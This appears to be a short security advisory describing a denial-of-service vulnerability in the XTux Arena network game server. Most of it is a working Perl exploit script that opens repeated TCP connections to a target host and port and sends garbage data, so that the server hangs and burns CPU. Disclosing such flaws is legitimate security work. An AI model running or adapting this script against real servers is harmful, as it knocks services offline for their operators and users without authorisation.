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| XTux Arena is a client server network game for X11 featuring open-source mascots. Players can compete in a multiplayer death match mode (called holy war) or play against the computer (cooperative multiplayer supported) in a mission against Microsoft. A security vulnerability in the product allows remote attackers to cause a denial of service attack against the product. |
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Credit:
The information has been provided by b0iler _.
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Exploit code:
#!/usr/bin/perl
#
# xtux server DoS - by b0iler
# server will become unresponcive and takes up lots of CPU.
use IO::Socket;
for($n=0;$n<=3;$n++){ #you shouldn't even need all 3 connections.
print "Connecting to $ARGV[0] port $ARGV[1]\n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort =>
$ARGV[1], Proto => 'tcp' ) or print "\ncouldn't connect\n\n";
sleep 3;
print $sock "garbage data\n\n";
}
exit;
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